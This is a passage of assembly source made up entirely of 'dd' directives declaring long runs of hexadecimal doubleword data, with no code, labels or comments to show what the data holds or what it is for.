		dd 451A3Dh, 2BE1499Dh, 892867E3h, 0C49A2201h, 464C382Dh
		dd 3B120h, 71BD3491h, 8FDC8280h, 0FB366900h, 0B25A7361h
		dd 2D3B001Ah, 0D9B415D6h, 0A000F95Eh, 0FCE00CBDh, 1DB13E77h
		dd 410ADB46h, 0D2B4EF54h, 0F7572043h, 4E23D31Fh, 0BD145240h
		dd 6527FBh, 9CE23FB3h, 0DE26902Ah, 0CF87F200h, 0CE147ADCh
		dd 39CC0A93h, 202F85h, 0F43FE263h, 20037555h, 0C8A261F8h
		dd 16E4F022h, 2D260188h, 6A21ED04h, 0D698F320h,	141C366Eh
		dd 5580ADF5h, 2818B764h, 4B50C0F3h, 2F0AF719h, 0DEC3DD00h
		dd 981A388Fh, 5B801C3Dh, 0D9EA8099h, 0E6344B1Bh, 5FBD7B0Fh
		dd 0FDEF43E5h, 0D03FC83Ah, 11E26116h, 0E441552Ah, 0A200382Fh
		dd 1CBFB7D8h, 1DE01EEh,	35CDE992h, 0E402452Eh, 0F9C3ED13h
		dd 0A8E74AB3h, 0E66B84h, 2069B70Fh, 9CD48199h, 0A3A2EF00h
		dd 6B5CE5F2h, 0A97900DAh, 28376805h, 0A50A9E54h, 90848B65h
		dd 98F89780h, 82A69Fh, 0DC2F143h, 0B9BA4F3Bh, 3223DE09h
		dd 0AABC00EDh, 3A2B27ADh, 0B400851Fh, 3BEE458Ah, 0D80E95F0h
		dd 60227442h, 0D5992EBDh, 0D259005Ah, 24348841h, 3F289031h
		dd 65077440h, 796ADB9Dh, 0EC00AF35h, 0E9968962h, 368A4C2h
		dd 0B698D549h, 779083CCh, 0DE0BB89Fh, 108245h, 8B4B32DBh
		dd 79B63C66h, 8084069Ch, 0E50C4FA5h, 0C102FBC2h, 1903A744h
		dd 65BC8182h, 8CF8BF63h, 0EA510FCCh, 2B454CCFh,	6D43452h
		dd 99296A86h, 0B9F6EB00h, 3DD10EBEh, 0D4D50126h, 3FE7A61Fh
		dd 0FCC85811h, 4247D603h, 0A0DE7A1Dh, 0ACFF91Eh, 87C72559h
		dd 0AC1200D4h, 9F07B15Eh, 74491300h, 814BA604h,	7C745Ch
		dd 98D3592h, 0AECFBCA7h, 299B4705h, 0D868A2D7h,	0D5778Fh
		dd 0E0B1A08Eh, 2A684BB3h, 1E0F8000h, 83E9E2C3h,	70F40F66h
		dd 8D6C2F05h, 0D40B67C8h, 882AB8BDh, 3422CCD1h,	0A1309D00h
		dd 0AC21B71Dh, 20711747h, 6BB90B90h, 0ED2FAA83h, 0E1F8903h
		dd 9052C5A4h, 2262C1h, 469F5869h, 0FBD58AC8h, 0D9066800h
		dd 0C0959021h, 2CA9012Eh, 25A76ABDh, 0AF7C20FDh, 740E28F6h
		dd 0C92095F3h, 0C4AC0AF5h, 6231C300h, 308EE730h, 84E98186h
		dd 0FD1F181Dh, 3CAE2E39h, 0A596A707h, 12CD85Ch,	5DB2FB86h
		dd 0E8846CA1h, 0E4071728h, 36A69449h, 0C880EBB7h, 28C0E5BCh
		dd 42CD93Dh, 9F52A3A0h,	75C88082h, 5030B0F4h, 0E485E8FEh
		dd 260F1F29h, 64646Eh, 52F47B02h, 0A1000DC1h, 23819D77h
		dd 0CEAD8BFEh, 90B87378h, 19D19550h, 359700C4h,	0EED8F3F5h
		dd 0DAA907ECh, 0F9BD152Eh, 50F4400h, 897A4A64h,	0A5F5AC00h
		dd 5EA6A192h, 8D8C0028h, 0DE4291CCh, 391F416Eh,	946EF52Ch
		dd 70B17F8Dh, 9809C2ECh, 0E9A00178h, 0AAA22E5Ah, 346420A3h
		dd 2CF60700h, 2D03D2C3h, 13F47433h, 40CE4DB5h, 84C7DB08h
		dd 0F7424B90h, 25238F00h, 7439DAABh, 6C005890h,	940A607Ah
		dd 780CDF77h, 0C88700DEh, 8851E23h, 80F3436Ch, 56EAFE38h
		dd 78642EDBh, 140200DFh, 9CF7A21Fh, 0B498B34Bh,	0A51A81FFh
		dd 647D5D37h, 501349C8h, 0ECCBCCEEh, 0BB3C012Dh, 29D69C4Bh
		dd 87FAC804h, 0C7B5A500h, 0C880928Dh, 0B3393C9Eh, 56DE9D0Fh
		dd 362A5DE0h, 0CB005542h, 0A60F2568h, 5EB85B2h,	0C22DF3Fh
		dd 0E4A4283Ch, 0A452EA09h, 7488043Dh, 220A008Bh, 3E90C13Bh
		dd 0E87F7780h, 8B463C80h, 0E42032FCh, 1C8C07h, 1FA5994Fh
		dd 4EB1A2A0h, 6A83F603h, 0B20BC61Ch, 8CC84842h,	8B010966h
		dd 8006F248h, 0C8A19946h, 0A63064DCh, 483F1301h, 508AFDD7h
		dd 0D32EC8h, 71EB7627h,	41A32F8Ch, 7E0D2B07h, 160547CCh
		dd 4247880h, 0F5F003CEh, 0E3BFC3BEh, 673CE94Dh,	6FB0DA68h
		dd 73162DADh, 0C0AC040Eh, 0C0F91C4Bh, 0F021F558h, 4EAF040Ch
		dd 0E3D8FFh, 0BC673D3Ah, 0A41E692Dh, 718FD60h, 4D398F06h
		dd 2602E8BBh, 1BC1AB9Ch, 0EB0EAA60h, 6E01AA13h,	0E75DAC40h
		dd 0C12BB667h, 4DB3FC88h, 0A99C243Fh, 4C4E9824h, 0EA73D800h
		dd 36803C0h, 9DB62BC8h,	0AAC84982h, 0AD0739C5h,	0B7D579EEh
		dd 6CD9FDA1h, 48677AF0h, 362C0C8Bh, 9B6B8928h, 84923300h
		dd 0F300346Ch, 26955A2Ah, 0D47541h, 8D550670h, 728ED24Bh
		dd 433A2D00h, 0FC8591CAh, 0BC1B00C0h, 0D02D10Fh, 0AD799C11h
		dd 4F8BBE00h, 1C8C9436h, 0C5DD03FAh, 0C96C8599h, 27583BA8h
		dd 0BA95C309h, 89788470h, 67FCB4C0h, 5B551DF2h,	7B5700BDh
		dd 0D09EFE26h, 0D0FA9339h, 8B09B8A4h, 143B9218h, 28C10028h
		dd 7625AA5Dh, 4807C618h, 5AF0D924h, 1273EBC0h, 0CDFEEFh
		dd 7BDE470Ch, 0C3F18C4Dh, 10870F00h, 351E9126h,	6AC0B763h
		dd 1800787Ah, 72DD5631h, 5CF748D5h, 33046830h, 0C05B507Fh
		dd 0C5C1C86Ch, 4EBEDF1Eh, 29897682h, 9A4E674h, 0B6DE3824h
		dd 394BD000h, 0DC05CCFDh, 0CA8F8E71h, 80AF5092h, 722ABDA4h
		dd 8C24DF4h, 0B6B13600h, 0E06BFEE1h, 0F0051A79h, 0D2163915h
		dd 835A6CC2h, 0C01CA8FDh, 0B0BA0F3Bh, 0B0EC139Ch, 9AA8402Fh
		dd 0A1377926h, 2054B900h, 8F96D987h, 14329D1h, 8C0792DCh
		dd 2200E020h, 41757CB6h, 0B44A80h, 0A2A23FAh, 0C0C5D248h
		dd 0FCAA442Eh, 86D4FE00h, 285085Fh, 75B01D82h, 0C0C1C0C4h
		dd 92B5F8E8h, 0BA5Ch, 4B0C1B8Dh, 91FDDF24h, 22C82C9Ch
		dd 900C9880h, 20CBAF4h,	0A38D9264h, 0E4E67165h,	0F8E1B8A6h
		dd 2B03AD07h, 9B46DF47h, 5F2091B8h, 16381C20h, 0DB3ADCh
		dd 0AF61E9CEh, 8200E8B3h
		dd 846FE2A0h, 18384E72h, 27C2F95h, 0D9091C12h, 8A4B36h
		dd 80AC24B0h, 0FCB1B7h,	9AA5F46Ah, 0D3025E95h, 359DB54h
		dd 0B59880A4h, 0F339308h, 837DBC5Ch, 44769FE0h,	6006EA6h
		dd 0AC8D234Dh, 16DFD165h, 202A30ECh, 0EDF4858Ch, 0A390EF50h
		dd 2FE39B00h, 0C40A3543h, 8F6F0632h, 69E12277h,	317FF200h
		dd 96BD5AD3h, 299401C0h, 0B845EEABh, 0C0C8326Bh, 691701F7h
		dd 2630B872h, 40E0BF47h, 19EDA60Ch, 1558AE67h, 6B3BDC51h
		dd 71DCABD5h, 30F54B68h, 0DD1A4E10h, 0FF30561Eh, 9901359Eh
		dd 2DBDFBBCh, 0C59CA062h, 60F56967h, 0D82949E8h, 8D0A4209h
		dd 250C1C77h, 14A30576h, 4400A0A6h, 561C8A99h, 131653A1h
		dd 400C0542h, 818F49BCh, 804DB3C7h, 0CD151F60h,	683C70B2h
		dd 4D1CC100h, 80DD105Bh, 82F2DE54h, 5A05774Fh, 2E56C3ADh
		dd 3B1D1C70h, 220E0045h, 0E7F330DCh, 550C2914h,	184D238Eh
		dd 0BAB00271h, 0B77853ABh, 0BC720BC0h, 15AAF00h, 8084A7BDh
		dd 59481842h, 0C731E8ECh, 7C047600h, 40D79733h,	0DBD400C6h
		dd 6D359452h, 545CD2E2h, 0B822E0ACh, 2566FE65h,	0D0B07430h
		dd 8100107Eh, 0FE54F02Eh, 53D94F7h, 0A090BF07h,	44FC0076h
		dd 0C7D1DDB5h, 36BDE304h, 0B4C0E7D8h, 46EFBE5h,	1B205A56h
		dd 0D37C90F2h, 6D0368ACh, 0BC1F104Dh, 7665E8E9h, 1DF3012Ch
		dd 0C50A1E59h, 0B39BE8A6h, 14108549h, 70AFFB6Fh, 0BC3FAF73h
		dd 3670AE91h, 802BB409h, 0A9A61590h, 0E20D0448h, 0C18A906Eh
		dd 9741543Bh, 30423988h, 0CE4FBEh, 0F22C9A40h, 0F058F0B0h
		dd 0E43E0024h, 81C89BBEh, 2AFEEAh, 64C1A58Ch, 42E3ED34h
		dd 0A100E89Ah, 8FEEC91Ch, 4CE8FD74h, 0E900ACC4h, 397E5806h
		dd 100361Fh, 0E098BE44h, 489EB0DCh, 1EA020E7h, 5C901A3Fh
		dd 5F914504h, 38958FD7h, 975760C1h, 0A760E300h,	3A31513h
		dd 7898388Dh, 31C72619h, 14B23316h, 0C48AEC61h,	808008C6h
		dd 535FF1A2h, 5600643Fh, 0BF57A6Eh, 605BFAFEh, 71F1E0C6h
		dd 10373AD2h, 0A761433h, 5529020h, 37E7489Fh, 3816C047h
		dd 790ECF6Bh, 43176CDBh, 0E8152831h, 198DE5h, 0D88202A0h
		dd 40C9724Dh, 7E22C00h,	0B5D2C31Fh, 1E550080h, 2787F15Ch
		dd 9005F94h, 2D8CEB2Ah,	24320742h, 38C37Fh, 75AF0FF7h
		dd 4300A8ABh, 39644C68h, 871B78h, 0E00B7CB8h, 0B3D1BF6Dh
		dd 4DF20600h, 868E599Fh, 3B2000D2h, 0FCB0838Dh,	84038F3Fh
		dd 87FFD65Eh, 298C8098h, 0CE361C7Ah, 66A70DCBh,	0C938C459h
		dd 0FDA26000h, 7A2546B9h, 947F300Dh, 4AE62BB8h,	0D3541400h
		dd 8DAF36BBh, 13AD0CC3h, 0DED4EB4Ch, 2F1F6F00h,	25349D26h
		dd 5DCF180Fh, 990B03Eh,	0D1007FF8h, 0FD99029Ah,	11E36F8h
		dd 7EEA5DF5h, 48B3A761h, 4D686A98h, 0EE409048h,	0C3BA530h
		dd 0D753CD38h, 54ECF1E1h, 60850F30h, 0FC872110h, 23223067h
		dd 0A7206620h, 385ADF00h, 0AC2B4C91h, 0B874D2h,	0EBA304C9h
		dd 0F6CC477Ch, 0E3D98300h, 0CF35ABC2h, 56872AB7h, 33E00098h
		dd 2FEF9495h, 8C14A6EAh, 0A0EED0h, 4DE8E12Ch, 594E7Eh
		dd 0E6ACA9Ah, 2DF65BC6h, 41E4A500h, 178B8188h, 0C2B63049h
		dd 2B3D5450h, 0FEBCF550h, 99C08671h, 4F83CF6Ah,	72F0C056h
		dd 21D63087h, 0CED54A01h, 611AA371h, 6AA0C447h,	592C13h
		dd 33A0A5B9h, 0B4113F49h, 4D282702h, 445D0A93h,	0D3A9C04Ch
		dd 24995391h, 826AF03h,	0B85F424Ah, 19C8CFC9h, 10EA1DE8h
		dd 0A8D4506Eh, 74011C88h, 0B8DAB384h, 1EF1DC7h,	4FB97A81h
		dd 40D7A636h, 63505C50h, 0F461CC00h, 0BA480817h, 4CCCA80Dh
		dd 4BED1474h, 0A10C80C1h, 420C20FEh, 0BB00A67Fh, 0DD50E96h
		dd 0AF07DC3h, 84D9CF63h, 0C1391FD4h, 0FA7A9EADh, 7D8C405Dh
		dd 0C9282349h, 7209F02Eh, 110C5D4h, 6BDE9583h, 52D7A080h
		dd 732D3322h, 98241371h, 803DACA0h, 57DF159Eh, 672FC7h
		dd 0A1FDFC4Ch, 0DC0465C1h, 0C23A017Dh, 6F9783C0h, 88383713h
		dd 0D9779Ch, 29A1F506h,	71B36EECh, 70162600h, 5DFD3F1Bh
		dd 9F54B7FCh, 1378030h,	0A4780214h, 0DB92F413h,	0C9572890h
		dd 5D31A700h, 3C0BEDBFh, 9ED6008Dh, 2B90C0EEh, 3E24E14Fh
		dd 56006ECEh, 8C5EAFD7h, 4DB61966h, 5A8F7964h, 80CC3B78h
		dd 4E15EBF9h, 1BEAACh, 60A1D5C5h, 0CC722B82h, 140ED67Ch
		dd 0E10A28C6h, 70F43FB8h, 0FA623C0h, 0A2052F45h, 0D6E0FDCFh
		dd 0E66771ADh, 33081900h, 0CFA18BEBh, 0C7151756h, 2E00AB6Dh
		dd 44F51360h, 628C13D3h, 0A1C400D2h, 0C6B9E25Dh, 27815801h
		dd 0BB70B303h, 1EAE7C20h, 896C80B4h, 1C1076DAh,	0AF003EC2h
		dd 0E52A0A9Ch, 0ED12EB90h, 0BDAA9040h, 78FF1D7Ah, 84D80056h
		dd 0E137727Eh, 6AF36C00h, 3E7B63EEh, 6EEF037Ch,	0B4663668h
		dd 60C891B1h, 0BA0F212Bh, 62CF96ACh, 4181F06Ah,	49A9DBCCh
		dd 35925Ch, 0C64A3A98h,	0DE54B6ABh, 710AD1D0h, 0B88A9E4Eh
		dd 5C76E200h, 8364BDh, 87BE74E1h, 630297DFh, 7840D0AAh
		dd 400F9E8Bh, 9E517FDAh, 0A97B4F40h, 127CCBF6h,	5E05A6h
		dd 1C144868h, 7D09FE42h, 2259C282h, 213C4770h, 0FE387BA4h
		dd 7D44D487h, 348CC8C9h, 56D37700h, 0A89584D2h,	0C2CD405Eh
		dd 11FE9D02h, 412F6E8Eh, 18DC3594h, 0D785027Ah,	4E962EFAh
		dd 5AA4AF40h, 75706BF4h, 98A0EEEEh, 1800ACCBh, 1560DFF4h
		dd 2B876EFh, 0B18250C4h, 44C8B291h, 18025C3Dh, 0B8A91DCCh
		dd 5D044FDh, 3F577253h,	7CD41451h, 4A6AE181h, 0BC16D02Fh
		dd 44C87400h, 985AE1Fh,	3E9A00D2h, 0C2374626h, 0F900BC69h
		dd 23896AA3h, 10CD597h,	0FB8D2E77h, 9F75636Ch, 55C92681h
		dd 5C102022h, 4CD2FB5Dh, 0A212845Ah, 38D40EFAh,	8DCA1540h
		dd 0BE00AA4Fh, 767D9C08h, 5DDCE5h, 202A31D2h, 13662CDDh
		dd 9049A700h, 6D793958h, 87F600AFh, 0A4473F0Dh,	1A13BF12h
		dd 2440A8BDh, 0D7DECFB7h, 942F0055h, 0E149BA4Bh, 7B0051F9h
		dd 0A82AD536h, 4C7485h,	91DF4373h, 3D93152Bh, 0DAAE0E01h
		dd 4E5E5D99h, 4A7A453h,	0FA4B7220h, 4A0C90A6h, 7400F375h
		dd 474F6628h, 3E7F1Dh, 0ACD28B72h, 9F14E2ADh, 1CA6A202h
		dd 0C0819B48h, 163A6D60h, 23C09Eh, 5AA84430h, 0CE04A78Ch
		dd 6CFCECB2h, 0E0206081h, 482A4C34h, 0A494807Bh, 803724h
		dd 0F5777C3Bh, 2D244C32h, 8F800C38h, 0B97B8210h, 0A0B748E9h
		dd 0C4542041h, 0B51DD881h, 44895D8h, 0E8944D3Fh, 71408121h
		dd 5B6BFCD4h, 0E7770307h, 80FB7D42h, 2FFD9D04h,	7131007Eh
		dd 0A05E6F81h, 2009533Ch, 0A09B0EEDh, 4CCDFBF4h, 6C0806BCh
		dd 0A83834F9h, 0C3AC8859h, 4CE1B3E5h, 7D0464F9h, 0C0473264h
		dd 79A960C0h, 0CE1CA101h, 588CB7CDh, 0F4C1AC4h,	9A05E1CAh
		dd 7FC05463h, 306E1491h, 9CBB198Ah, 89D42D0Bh, 0F3D0A1F8h
		dd 48FA75F9h, 9806150h,	5C2C3C43h, 95AAD410h, 0AC691629h
		dd 59CDD887h, 4CF0D157h, 58961D7Dh, 660078FCh, 46D4493Dh
		dd 0BE0BC9F7h, 0A52ECEEFh, 6CC191C8h, 28806A98h, 516F4726h
		dd 571C85A4h, 0E4AB8981h, 45B8F480h, 72778D3Dh,	18817BA8h
		dd 180774DCh, 803994A1h, 8BEE0041h, 0F8DD9216h,	26D500EDh
		dd 2839BC3Ch, 4B007C68h, 917A64BEh, 3C3DF7Dh, 0EE8D5599h
		dd 6BDB4A7Eh, 948038B8h, 6DD88300h, 0CA998BDEh,	69A90042h
		dd 9CBD36C5h, 3700A824h, 0FF728883h, 14FCE39h, 94EB13FCh
		dd 0C5574E19h, 0AA0E480h
		dd 0A585DCE9h, 1FE5F400h, 0E4A461C9h, 8D930E30h, 0B06367FAh
		dd 0A1D1DAEFh, 0DFE1D29Ah, 11047020h, 0BEFE4000h, 3A57DC09h
		dd 0A48E1F0Bh, 1E88C36Ch, 8F80B898h, 0DB006911h, 1FB504B0h
		dd 3BD37ADh, 4B608AFBh,	0BEA0E941h, 5900AE14h, 0D285D655h
		dd 3C0744h, 0A00D6DF6h,	9FA8CB4h, 9DC19F1Dh, 0A8DCB94Ch
		dd 9A280114h, 0E288646Ah, 0B2CBD777h, 4B48BCD0h, 730E8476h
		dd 403F555Ch, 43C1E6F2h, 5FE3010Dh, 45FE667Fh, 118EF0D2h
		dd 9A3038h, 0D99C42BBh,	7406174h, 9268F17Fh, 7252E0C3h
		dd 0BB000C17h, 524A07Ch, 466DB9h, 0F5074E06h, 20B41680h
		dd 0FFEEF907h, 80EF24CCh, 7D52901Ah, 0F1011CBCh, 1221C014h
		dd 0FA42DD6Dh, 2825A80Eh, 0EDB3808Bh, 3339B4h, 3AFD82AEh
		dd 9124EEAFh, 53C22F07h, 0FAC05C51h, 244ABD75h,	1755F9h
		dd 2DA6AD5Dh, 815C4326h, 8A191CA7h, 185C400h, 397A61F2h
		dd 18F088F6h, 300A14DCh, 8A0656ACh, 0B5399385h,	752A04C0h
		dd 809E97F7h, 4B2789A9h, 84C02B54h, 0F4084300h,	2E25D82Fh
		dd 0C6536E81h, 0E33D3E1Ch, 0ACB26380h, 0FAB5CAFh, 744CD004h
		dd 0E8809472h, 95DD92Ch, 0FD01BB47h, 0FB84E080h, 1E160B15h
		dd 760278FAh, 0E066DBB5h, 30C664E5h, 0A8615A1Ah, 0BC38300Eh
		dd 0E110606Dh, 1DB148B3h, 803904EDh, 24AE4B99h,	0D47ECAEAh
		dd 9AF5E00h, 72C9B4E8h,	2CD11EDDh, 0FC9341E7h, 0F74AB092h
		dd 0C168FC00h, 3886C37Dh, 7290AEh, 6D33BE79h, 74134BFh
		dd 0C272C700h, 89DD8E3Ch, 0F5022421h, 0DE2E00A4h, 14C40E85h
		dd 0CE4FA00Fh, 0D54EC1ADh, 68801181h, 45E483D1h, 0F703335Dh
		dd 0A1FA60BAh, 0D003A0F5h, 0E5ED0025h, 0DBDEC84Dh, 9F076904h
		dd 2DF31D49h, 0C66529F0h, 58640371h, 0DF7A98C7h, 23638988h
		dd 30886900h, 42C1E9A3h, 819D0031h, 912CCC72h, 78FA6399h
		dd 8110A63Eh, 0B80F0ABh, 62B24D6h, 88B80EA6h, 3DEA2060h
		dd 78D27AC9h, 0C8520113h, 0CFB899BDh, 96B7D8C0h, 0ED06101h
		dd 94241231h, 76D7AC47h, 0C2B9F4C0h, 0B19A00A8h, 6E5868E7h
		dd 48F24667h, 0B440F72Ah, 0D2AAE104h, 3C81D69Dh, 0CAD84713h
		dd 0CD3E0745h, 2E306B89h, 0E8D16900h, 0FC00B3FBh, 1B14106Eh
		dd 6C73193h, 78C23F11h,	90005144h, 4157EB8Bh, 1E7E8247h
		dd 4119608Dh, 63FFAD1h,	1D40B953h, 877B50A5h, 59287A90h
		dd 0C56A58C0h, 0CBAC1414h, 0E100BC4Eh, 0CEB3D589h, 760764A0h
		dd 0FC5F7711h, 2F0D5820h, 0B10701B8h, 0FBA42BBEh, 8FD84C02h
		dd 63CC50Eh, 0FC86FE1Dh, 7A12CD4h, 0AB05B0ADh, 0EB78E031h
		dd 66281806h, 9A009CDEh, 0C97C488Ch, 9B570EDh, 3412C187h
		dd 30670C27h, 23EAF61Dh, 0C8D1B428h, 28ADDA00h,	0B1BC063Ah
		dd 0E04F00AAh, 5B8106Fh, 0BD00DB97h, 40E20C96h,	14D5774Ch
		dd 87BBF478h, 3A232900h, 0CA9C6936h, 73FAFE00h,	0B6F914ACh
		dd 903FE884h, 2CAA0040h, 0C65A5CBFh, 6C02F8EEh,	1C5973F2h
		dd 91509178h, 90EBF085h, 27B00469h, 0C220C17Ah,	0E431D89Bh
		dd 0AB0016F6h, 0F1A02DC9h, 7C6791h, 0A55D1424h,	0D3BE3008h
		dd 906073E6h, 82F73EC0h, 2C7C1444h, 20A4AC03h, 0B519B934h
		dd 0BDAB4A03h, 0C06F48F5h, 9B43888h, 26C72FC4h,	0C0812184h
		dd 0B697BB00h, 0A1D7A505h, 706001D3h, 30914B63h, 3106622h
		dd 0B618C813h, 0E4E0D0EBh, 1C541D4Dh, 0BA2500A1h, 0A98E8648h
		dd 0F1B43600h, 1042D070h, 944E14B9h, 770B0FCh, 31C3E6CAh
		dd 2E2A177h, 0DC69F9EFh, 25985D8Dh, 17E77E00h, 3AE34CF3h
		dd 9B1E0082h, 415EE83Eh, 0B5C7B1h, 0A3597F6Ch, 0A62018Dh
		dd 0E0E97203h, 8F22E0D7h, 90086F8h, 0F2AA3FF6h,	7F93317Ah
		dd 0AB013E67h, 18695500h, 0C15D8E6Dh, 0AD5CE903h, 7AFC2Ah
		dd 0C7DA0250h, 82D76803h, 1F6CC51Eh, 7F1BD440h,	0B9D14Fh
		dd 8F8ECA3Fh, 2FEB5D6Fh, 0E4699100h, 9F371E28h,	1017FADCh
		dd 0E4E5643h, 0C0404BA4h, 44866504h, 11CF00A0h,	370BBDFEh
		dd 8300AC48h, 3CBACE7Ah, 1D7C23C5h, 8052FD95h, 0BE6EAE32h
		dd 4D00B072h, 1B9ACDEAh, 48F621Ch, 0F6E384DDh, 60A1C05Eh
		dd 90A192E9h, 24ABC0A5h, 5D867C01h, 52E8F940h, 0B0762182h
		dd 9CA0630Eh, 0D42F5010h, 444F9400h, 9276E0A2h,	244A0F8Fh
		dd 0C03D1823h, 0CB5B67E4h, 0B9015A57h, 209D33AAh, 73302DBCh
		dd 137902C2h, 0E3B2A462h, 0EF088480h, 0A00020B9h, 8364FE86h
		dd 0FC040C99h, 712C2B80h, 0A1983040h, 80073068h, 37209E61h
		dd 5D0CA650h, 0D6B2005Ch, 2BD5A46Fh, 74A0930Dh,	4D2B2F8Ah
		dd 6C08C077h, 40F847D4h, 0FDE54476h, 827E3C2Eh,	7399C601h
		dd 0E2D0FBCAh, 0E32900E6h, 5B8ADF80h, 0F01C561h, 459762EFh
		dd 0A08377B0h, 49B87FA8h, 386AC964h, 9DD1D480h,	0F6A33037h
		dd 998884C9h, 266CC200h, 4AD42EB1h, 0F5AE00DCh,	9D8C5B2h
		dd 6700827Dh, 1E94EE15h, 2474C783h, 8E38D72Ch, 7720AA24h
		dd 11481B6Bh, 0BC004C71h, 0C50A93D4h, 0BF05D6h,	4E65FA06h
		dd 927A75CCh, 0DF9B2C00h, 310DC742h, 66E70E6h, 338FFB90h
		dd 0B6EA6832h, 0DA34D800h, 17D36D5Bh, 3B5E3E4Eh, 608C0824h
		dd 2D527D80h, 74A4F100h, 1D137B9Fh, 0EDA33FF8h,	4504E300h
		dd 11CD1FBBh, 2B0EDCA6h, 808E197Ah, 0D24BCED8h,	0EB300033h
		dd 5A23C314h, 37079B59h, 0F37816EFh, 98E03ED7h,	0A8838E0Ah
		dd 7DFDD8h, 0B55A6BABh,	6A7BBBBAh, 0A4D48200h, 0B9F10A86h
		dd 0F3E20185h, 90B74752h, 5D94203Eh, 5E9B8C04h,	5083CD1Ch
		dd 7DF2A883h, 27B50131h, 2D56C71Ah, 0AC283010h,	7849C303h
		dd 28A87Ah, 594F80B8h, 41A65647h, 389EF301h, 4AF2AD74h
		dd 1A0AFCh, 0A76BFA0Dh,	878DDBFh, 0C3B0FB00h, 1B4A47DBh
		dd 0F55B0FCDh, 0B960F6E0h, 2322D702h, 95063501h, 0EA18D56Eh
		dd 22FDAD4h, 5E17BA8Dh,	8C48130Dh, 9607A85Fh, 40508201h
		dd 0F47C98D9h, 37970339h, 4A834D62h, 0C09A3AF8h, 64358400h
		dd 525A2428h, 59DD6063h, 364F6CC3h, 7669AB12h, 60E95C00h
		dd 0E72D89h, 68771496h,	3F480D08h, 92B7D900h, 3A6D8709h
		dd 30FE888h, 77C2ACF8h,	0D6D076E3h, 660068C0h, 0B907D93Dh
		dd 585E1EC5h, 6700FCE6h, 9E9A27E8h, 0D7907CCEh,	0C279F500h
		dd 529D6954h, 0FFCD14EEh, 0E0078C77h, 198CF1DCh, 4100840Fh
		dd 9B8171A3h, 0C0B74F2Ah, 0DF0C100h, 4320DBBCh,	7256007Ah
		dd 0FFA785F7h, 952890CAh, 14906C52h, 73971300h,	0D6C27FD3h
		dd 6EB849h, 16CE946Dh, 5E7922D8h, 0E06DDC99h, 241177F0h
		dd 0BE648043h, 1CE3BA50h, 20EE71h, 3522D30h, 9B587D67h
		dd 3B0D09EDh, 2A9C00F8h, 0C5388Dh, 3C913029h, 8EE4CCD7h
		dd 1F0A81E8h, 0BCEDF780h, 0C861BB02h, 0CC4C4021h, 24F75DCh
		dd 79D6F0C9h, 98808227h, 18F3F86h, 524368C0h, 793E6EABh
		dd 0DA9000AFh, 0B07B94D0h, 2D1EFC8Fh, 80FBEA7Eh, 0F815C027h
		dd 796F760Dh, 0A20B013Fh, 734F19D7h, 49F05013h,	0B30047BFh
		dd 83FFF68Ah, 0E8CBBBEh, 203279F7h, 0F345AD60h,	0A0C13D76h
		dd 0B6D61EC7h, 6E20C457h, 480F042Eh, 2BC0244Ah,	50E8F40Bh
		dd 79AFBE00h, 0FABD2048h, 50C4A611h, 3E0DDB2Ah,	5C0279CAh
		dd 0EF4F89AFh, 0AB13C494h, 3D0085E4h, 0D28FBF7Fh, 56960135h
		dd 3CE98B17h, 3D3C6051h, 0FE9BF4A8h, 0C8418C0Ch, 1F8A1949h
		dd 80975D2Ch, 7D0A9024h, 0CE0E48F3h, 4912F932h,	1E09DDh
		dd 0B64C2184h, 86F70058h
		dd 9CED4193h, 3D000C9Eh, 441D1E8Fh, 9753E16h, 98C06D04h
		dd 570AC494h, 3C3EA7B9h, 6CDD003Ah, 2C25E0BAh, 0CE060FC6h
		dd 0CB20660Dh, 0D55FCD21h, 0BA03F73Eh, 5939BBA3h, 5420424Ch
		dd 5E011684h, 0D7E66014h, 6CC16433h, 468DD8h, 70D44CACh
		dd 7479CF42h, 147C4D24h, 0E2BB1C06h, 28CC8151h,	0DE21ECh
		dd 7AA44D69h, 0CDC5D2E0h, 62C04302h, 0C2869C4Bh, 0F1F89874h
		dd 0BBC1C0A7h, 0C2EA8E17h, 329EFC00h, 0D31067CFh, 0C98C9279h
		dd 0B4A00D70h, 0F2C5F4DCh, 0E416517h, 0DF028802h, 15F4804Dh
		dd 0ED5B77h, 0E7CB4CA7h, 4351C97Fh, 2EDD6F16h, 0AE868707h
		dd 241886Ch, 923F0FC3h,	0F46850D9h, 0CCB273C7h,	2557FA00h
		dd 0EE029A85h, 94C9043h, 336CC968h, 45279CAFh, 0B51120B6h
		dd 2534BB01h, 1CDCA97Dh, 980F6052h, 8506DA66h, 1032C12Ch
		dd 0F3DD8780h, 279A50Dh, 7C56C03Bh, 81FD4525h, 7EA1EB65h
		dd 342E1080h, 0FE3507ADh, 0E9D9C51Fh, 474ECEC0h, 0E0C262D6h
		dd 0C33B007Dh, 0E5BA90E0h, 0DA0082CAh, 24AF54CDh, 9DCC45h
		dd 7BAE28C2h, 95BCC767h, 7C7FBD00h, 0E0D5F166h,	76580F61h
		dd 980FEB80h, 13787BECh, 749F5C00h, 4839C9B2h, 0E560093h
		dd 0A3C53FDBh, 0C200339Ah, 61A75241h, 3BDF9F55h, 5781D658h
		dd 0F23DCA7Ch, 3C6F0F6h, 754950Ch, 0C148D3h, 0C3D4E8D1h
		dd 0BEF93C6Ah, 687A4406h, 20ACB3h, 6BD7D12Dh, 0D23FDA5h
		dd 3630FE70h, 70B1F8D0h, 2F6503B3h, 28F89F52h, 87BA1903h
		dd 88A6983Dh, 104F002h,	38B67FC8h, 4A1C9F1Fh, 8F400018h
		dd 0FDDB0954h, 0D30C14B8h, 0FEA04458h, 0D5098B6Ch, 7D93193Bh
		dd 7B988080h, 0E00C8766h, 3096D1D0h, 519500DBh,	0AB50A8BFh
		dd 7D7D5F56h, 81ED1100h, 0E62B32F0h, 92DF00BCh,	6C0A1DFCh
		dd 6116E20Dh, 0FF573Eh,	95274178h, 530EB52Eh, 8079C937h
		dd 8109F3ACh, 351800DEh, 0B411DA58h, 0F2004291h, 0C8D6A38Eh
		dd 0C330E5h, 8946B76Fh,	8C87AD41h, 0EFB85000h, 0A6384958h
		dd 5C9000F1h, 6BE6FF3Dh, 4F00F279h, 2B8CBF50h, 7C701A72h
		dd 8FECC8h, 0A0EC306Ch,	41D1EB56h, 0B454C12h, 5388D300h
		dd 0C7905FC9h, 0C0ABD978h, 7C2266Dh, 0BFA94200h, 44B8438Dh
		dd 1B3A1C2Eh, 57BDC024h, 6BF21963h, 0F6E30D0Eh,	56EE402Ah
		dd 0B5B85h, 0E481C261h,	0E31553D5h, 0DEE54604h,	80C0D0CDh
